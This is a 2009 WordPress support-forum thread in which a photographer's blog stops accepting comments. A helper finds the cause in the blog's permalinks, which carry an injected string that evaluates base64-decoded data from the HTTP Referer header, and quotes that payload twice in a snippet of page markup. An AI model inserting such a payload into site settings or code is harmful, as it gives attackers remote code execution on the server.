Title: Cannot comment
Last modified: August 19, 2016

---

# Cannot comment

 *  [petra-king](https://wordpress.org/support/users/petra-king/)
 * (@petra-king)
 * [16 years, 8 months ago](https://wordpress.org/support/topic/cannot-comment-2-2/)
 * Up until about 2 days ago my blog was working perfectly. Now ppl are unable to
   comment on the blog. They get a message as follows:
 * “Bad Request
    Your browser sent a request that this server could not understand.
 * Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument
   to handle the request.
    Apache/1.3.41 Server at petrakingphotography.com Port
   80″
 * Can anyone help me out?
 * Many Thanks,
    Petra
 * [http://www.petrakingphotography.com/blog](http://www.petrakingphotography.com/blog)

Viewing 4 replies - 1 through 4 (of 4 total)

 *  [iridiax](https://wordpress.org/support/users/iridiax/)
 * (@iridiax)
 * [16 years, 8 months ago](https://wordpress.org/support/topic/cannot-comment-2-2/#post-1210114)
 * This junk `%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/` is everywhere
   in your URLs:
 * `<span class="addacomment post-interact-span"><a href="http://petrakingphotography.
   com/blog/2009/09/03/awesome-girly-hawk-ajax_durham-region-maternity_newborn_family-
   photographer/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#addcomment"
   >leave some love</a></span>`
 * It looks like the hack that’s been going around hitting non-upgraded WordPress
   sites.
 * [http://wordpress.org/support/topic/307660](http://wordpress.org/support/topic/307660)
 *  [iridiax](https://wordpress.org/support/users/iridiax/)
 * (@iridiax)
 * [16 years, 8 months ago](https://wordpress.org/support/topic/cannot-comment-2-2/#post-1210115)
 * BTW, you are using WordPress version 2.7.
 *  Thread Starter [petra-king](https://wordpress.org/support/users/petra-king/)
 * (@petra-king)
 * [16 years, 8 months ago](https://wordpress.org/support/topic/cannot-comment-2-2/#post-1210150)
 * Crap okay many thanks.
 * I will upgrade to the latest version. Once I upgrade then how do I get rid of
   the junk in the url?
 * Thank you!
 *  [dpga10](https://wordpress.org/support/users/dpga10/)
 * (@dpga10)
 * [16 years, 5 months ago](https://wordpress.org/support/topic/cannot-comment-2-2/#post-1210535)
 * About the same thing, tho no1 gets anything!
 * Wud B nice 2 C how 2 get rid of the junk in the url?
 * TIA, DrDP
 * [http://www.dpgatten.com](http://www.dpgatten.com)
    [dp@dpgatten.com](https://wordpress.org/support/topic/cannot-comment-2-2/dp@dpgatten.com?output_format=md)

Viewing 4 replies - 1 through 4 (of 4 total)

The topic ‘Cannot comment’ is closed to new replies.

 * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
 * 4 replies
 * 3 participants
 * Last reply from: [dpga10](https://wordpress.org/support/users/dpga10/)
 * Last activity: [16 years, 5 months ago](https://wordpress.org/support/topic/cannot-comment-2-2/#post-1210535)
 * Status: not resolved

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